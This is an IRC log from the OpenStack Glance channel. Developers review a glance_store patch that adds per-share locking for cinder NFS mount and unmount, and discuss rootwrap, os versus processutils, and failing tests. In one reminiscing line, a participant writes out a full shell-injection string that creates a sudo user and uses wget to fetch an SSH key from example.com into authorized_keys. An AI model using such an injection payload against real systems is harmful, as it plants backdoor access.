| *** Liang__ has joined #openstack-glance | 01:08 | |
| *** gyee has quit IRC | 01:10 | |
| *** dasp_ has joined #openstack-glance | 03:58 | |
| *** dasp has quit IRC | 04:00 | |
| *** ratailor has joined #openstack-glance | 04:20 | |
| *** evrardjp has quit IRC | 04:35 | |
| *** evrardjp has joined #openstack-glance | 04:36 | |
| *** jmlowe has quit IRC | 05:15 | |
| *** jmlowe has joined #openstack-glance | 05:25 | |
| *** udesale has joined #openstack-glance | 05:41 | |
| *** belmoreira has joined #openstack-glance | 06:58 | |
| openstackgerrit | Rajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount https://review.opendev.org/716874 | 07:05 |
|---|---|---|
| openstackgerrit | Rajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount https://review.opendev.org/716874 | 07:23 |
| *** ratailor is now known as ratailor|lunch | 07:50 | |
| *** ratailor|lunch is now known as ratailor | 08:30 | |
| *** Liang__ has quit IRC | 08:32 | |
| *** brtknr has quit IRC | 09:37 | |
| *** brtknr has joined #openstack-glance | 09:38 | |
| *** brtknr has quit IRC | 09:38 | |
| *** brtknr has joined #openstack-glance | 09:38 | |
| *** wxy has quit IRC | 10:36 | |
| openstackgerrit | Rajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount https://review.opendev.org/716874 | 10:44 |
| *** rcernin has quit IRC | 11:06 | |
| *** udesale_ has joined #openstack-glance | 11:12 | |
| *** udesale has quit IRC | 11:15 | |
| jokke_ | whoami-rajat: Thanks for keeping pushing the cinder driver patch ... just finished reviewing with bunch of comments inline | 11:37 |
| whoami-rajat | jokke_, sure, will take a look. Thanks! | 11:37 |
| jokke_ | whoami-rajat: btw just saw your new PS | 11:38 |
| whoami-rajat | oh | 11:38 |
| whoami-rajat | your comments are on PS13 | 11:38 |
| jokke_ | whoami-rajat: I disagree with the bringing it in to the if state == None logic as that will break the umounts further than what I pointed | 11:39 |
| jokke_ | yeah ... spent last hour or so reading and commenting it :P | 11:39 |
| whoami-rajat | jokke_, sorry i don't understand, how? | 11:41 |
| jokke_ | whoami-rajat: the umount relies on the state and the lock to work, so if we try to execute it while the state has not yet been established the umount will just fail and raise exception | 11:42 |
| whoami-rajat | i'm performing the umount after the state is initialized | 11:43 |
| jokke_ | ohh crap ... stupid me ... so either case there is no need to indent it under the condition | 11:44 |
| jokke_ | or is there? | 11:44 |
| jokke_ | Do we expect that if the other thread already initialized state it has also ran the cleanup already? | 11:45 |
| jokke_ | meaning we don't need to do it on this thread | 11:45 |
| jokke_ | coffee, back in about 10 | 11:47 |
| whoami-rajat | since this cleans up the mountpoints for all possible stores configured, i think only the first initialization needs to perform the cleanup | 11:49 |
| whoami-rajat | and if already initialized then we should avoid it so putting it inside the if block makes sense | 11:49 |
| whoami-rajat | jokke_, so i've a few questions regarding the review comments, i hope you won't mind me asking here | 11:50 |
| whoami-rajat | 1) i thought processutils was the preferred way of executing commands on the system that's why i avoided using the os module but we use it in some places so i'm not sure | 11:51 |
| whoami-rajat | i think others i can answer on the review, so this is the only one :) | 11:53 |
| jokke_ | absolutely shoot ... | 11:58 |
| jokke_ | whoami-rajat: 1) quite opposite. os module is definitely the preferred way and we use processutils only when absolutely necessary. Invoking shell from your code is always bit risky. Also Glance is supported to run on Windows so the more we allow python do the right thing on OS level the less we need to take care of those special cases | 12:00 |
| whoami-rajat | jokke_, ack. | 12:01 |
| jokke_ | It will always be executed on the user the code is running, so when ever you're using rootwrap, you know you will need to use processutils | 12:02 |
| jokke_ | as you need to start that process on elevated privileges | 12:02 |
| whoami-rajat | yep, i checked again where the rootwrap was needed | 12:04 |
| whoami-rajat | jokke_, ok, i will make the changes and let you know, thanks! | 12:04 |
| jokke_ | no problem, fortunately they are not massive changes and should clean the code a bit | 12:05 |
| jokke_ | whoami-rajat: so just FYI I do not have test environment for this running atm. so I'm executing the code in my head as I read it. So if you feel that I missed something "obvious" in my comments feel free to point it out. I honestly might have | 12:06 |
| whoami-rajat | jokke_, i think most of them are basic changes and won't affect the functionality, i will double check it anyway. | 12:08 |
| jokke_ | cool ... the L#126 is something I'm wondering about why I missed it or why your testing would have missed it | 12:09 |
| *** tkajinam has quit IRC | 12:09 | |
| *** ratailor has quit IRC | 12:10 | |
| whoami-rajat | jokke_, the lock is only acquired to remove the entry from the attachments in memory, we have a check to see if the directory is mounted | 12:14 |
| whoami-rajat | jokke_, see L#307, we log a warning that attachment wasn't removed (it didn't existed during the cleanup anyway) | 12:14 |
| whoami-rajat | jokke_, and L#315 and L#317 that checks for the actual condition if the dir is mounted and unmount it after that | 12:15 |
| jokke_ | whoami-rajat: yeah, I just expected it barfing on L#303 -> L#213 | 12:17 |
| jokke_ | cause that should already give key error before the try block ... but it might be that the with is actually not executed before it's used which would explain that behavior | 12:19 |
| jokke_ | like said my in brain python intrepreter simulation is not 1to1 accurate with cpython :P | 12:20 |
| jokke_ | and honestly if that's the case, great ... simplifies a lot if we don't need to do mount&umount dance just to get around that | 12:22 |
| jokke_ | whoami-rajat: also I think the logic is pretty much solid there and I understood that abhishekk has been looking the tests with you ... I believe we are very close to be ready with this. So thanks for bearing with us while solidifying all the details together | 12:26 |
| whoami-rajat | jokke_, no worries :) . i spend more time testing it than actually writing it, even created a fake block device, mounted it and checked it :P | 12:28 |
| whoami-rajat | jokke_, yes, abhishekk helped a lot during everything. thanks for the help and support to both of you :) | 12:29 |
| jokke_ | Nice ... that's how it quite often goes ... hopefully you learned something along the way as well :D | 12:29 |
| *** rcernin has joined #openstack-glance | 12:31 | |
| *** lpetrut has joined #openstack-glance | 12:34 | |
| *** jv_ has joined #openstack-glance | 12:34 | |
| whoami-rajat | ofcourse. a lot. :) | 12:47 |
| whoami-rajat | jokke, i've a query, only the commands that require root privilages should be mentioned in the rootwrap filters right? | 12:49 |
| jokke_ | whoami-rajat: correct | 12:49 |
| jokke_ | that just ensures we don't accidentally leak something executed as root we didn't intend to | 12:50 |
| whoami-rajat | ack. don't remember why i put mkdir and rmdir in the filters :/ shouldn't cause a problem removing them | 12:51 |
| * jokke_ remembers all those web forms in 90's early 00's where you could do something like: foobar"; sudo adduser foobar -g wheel; sudo wget -o /home/foobar/.ssh/authorized_keys http://example.com/key.txt; sudo chown foobar /home/foobar/.ssh/authorized_keys and then happily ssh into their prod web servers :P | 12:54 | |
| jokke_ | sometimes had to shim it through sql servers as the form was pased directly into sql query instead of shell call | 12:56 |
| jokke_ | there was loads of very broken software in the early days | 12:56 |
| jokke_ | and the sql servers allowed shell execution as well | 12:57 |
| smcginnis | Not that you ever did something like that, right? Nope, never. :) | 13:11 |
| *** lpetrut has quit IRC | 13:14 | |
| openstackgerrit | Rajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount https://review.opendev.org/716874 | 13:14 |
| whoami-rajat | ^ This should fix EVERYTHING! | 13:16 |
| jokke_ | smcginnis: only in lab on my personal systems | 13:18 |
| jokke_ | And some systems I was auditing | 13:19 |
| jokke_ | whoami-rajat: quick question ... why do we need the # noqa in _drivers/cinder.py L#519 and L#623? | 13:21 |
| whoami-rajat | jokke_, since we did the import inside init, pep8 isn't able to detect the mount import :/ | 13:24 |
| jokke_ | ahh ... gotta !love flake | 13:25 |
| jokke_ | still couple of things breaking on that | 13:25 |
| jokke_ | posting comments in 2 | 13:25 |
| whoami-rajat | oh still 2 tests are breaking | 13:28 |
| whoami-rajat | let me update | 13:28 |
| *** rcernin has quit IRC | 13:29 | |
| jokke_ | mhm, just posted my comments there | 13:29 |
| jokke_ | very small things left ;) | 13:29 |
| openstackgerrit | Rajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount https://review.opendev.org/716874 | 13:40 |
| whoami-rajat | jokke_, did the update thanks! | 13:41 |
| jokke_ | whoami-rajat: no, you need both os and os.path ;) | 13:41 |
| jokke_ | I'm pretty sure at least | 13:42 |
| * jokke_ recalls falling into that before | 13:42 | |
| jokke_ | or did it pass locally now? | 13:42 |
| jokke_ | it at least used to be one of those weird python namespace things | 13:43 |
| jokke_ | nope, you should be good | 13:43 |
| jokke_ | whoami-rajat: yeii tox jobs passed, now waiting tempest | 13:50 |
| abhishekk | cool | 13:50 |
| abhishekk | jokke_, rosmaita smcginnis weekly meeting in 2 minutes at #openstack-meeting | 13:58 |
| whoami-rajat | jokke_, yep i tested locally. | 14:04 |
| *** lpetrut has joined #openstack-glance | 14:13 | |
| *** tkajinam has joined #openstack-glance | 14:16 | |
| *** lpetrut has quit IRC | 14:46 | |
| openstackgerrit | Rajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount https://review.opendev.org/716874 | 15:24 |
| *** gyee has joined #openstack-glance | 15:35 | |
| *** belmoreira has quit IRC | 15:49 | |
| *** tkajinam has quit IRC | 16:34 | |
| *** evrardjp has quit IRC | 16:35 | |
| *** evrardjp has joined #openstack-glance | 16:36 | |
| *** udesale_ has quit IRC | 16:39 | |
| *** abhishekk is now known as abhishekk|away | 17:04 | |
| *** jmlowe has quit IRC | 18:24 | |
| *** jmlowe has joined #openstack-glance | 18:27 | |
| *** gyee has quit IRC | 18:45 | |
| *** gyee has joined #openstack-glance | 18:55 | |
| *** whoami-rajat has quit IRC | 20:53 | |
| *** johanssone has quit IRC | 20:53 | |
| *** openstackgerrit has quit IRC | 20:53 | |
| *** whoami-rajat has joined #openstack-glance | 20:54 | |
| *** johanssone has joined #openstack-glance | 20:54 | |
| *** smcginnis has quit IRC | 21:06 | |
| *** smcginnis has joined #openstack-glance | 21:07 | |
| *** rcernin has joined #openstack-glance | 22:04 | |
| *** openstackgerrit has joined #openstack-glance | 22:20 | |
| openstackgerrit | Merged openstack/glance master: fix typo in gerrit doc https://review.opendev.org/724762 | 22:20 |
| *** rcernin has quit IRC | 22:33 | |
| *** rcernin has joined #openstack-glance | 22:34 | |
| *** tkajinam has joined #openstack-glance | 22:46 | |
| *** tkajinam has quit IRC | 23:43 | |
| *** tkajinam has joined #openstack-glance | 23:43 | |
Generated by irclog2html.py 2.17.2 by Marius Gedminas - find it at https://mg.pov.lt/irclog2html/!